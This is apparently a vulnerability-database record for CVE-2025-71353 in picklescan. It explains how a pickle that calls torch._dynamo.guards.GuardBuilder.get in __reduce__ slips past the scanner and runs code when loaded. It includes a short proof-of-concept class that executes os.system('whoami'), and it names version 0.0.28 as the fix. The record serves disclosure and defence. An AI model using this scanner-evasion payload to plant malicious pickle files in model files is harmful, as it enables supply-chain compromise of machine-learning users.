{"id":"CVE-2025-71353","aliases":["GHSA-86cj-95qr-2p4f"],"url":"https://o3.security/vulnerability/CVE-2025-71353","summary":"picklescan - Remote Code Execution via torch._dynamo.guards.GuardBuilder.get","details":"### Summary\n\nUsing torch._dynamo.guards.GuardBuilder.get function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch._dynamo.guards.GuardBuilder.get function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport types\nimport torch._dynamo.guards as guards\n\nclass EvilTorchDynamoGuardsGet:\n    def __reduce__(self):\n        fake_self = types.SimpleNamespace(scope={})\n        name = \"__import__('os').system('whoami')\"\n        return guards.GuardBuilder.get, (fake_self, name)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","published":"2026-07-04T01:23:34.482Z","modified":"2026-08-12T03:51:41.291739521Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"picklescan","fixedVersion":"0.0.28"}],"fix":{"url":"https://github.com/mmaitre314/picklescan/pull/47","label":"mmaitre314/picklescan#47"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71353.json"},{"type":"ADVISORY","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-86cj-95qr-2p4f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71353"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-torch-dynamo-guards-guardbuilder-get"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/pull/47"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:41.291739521Z"}}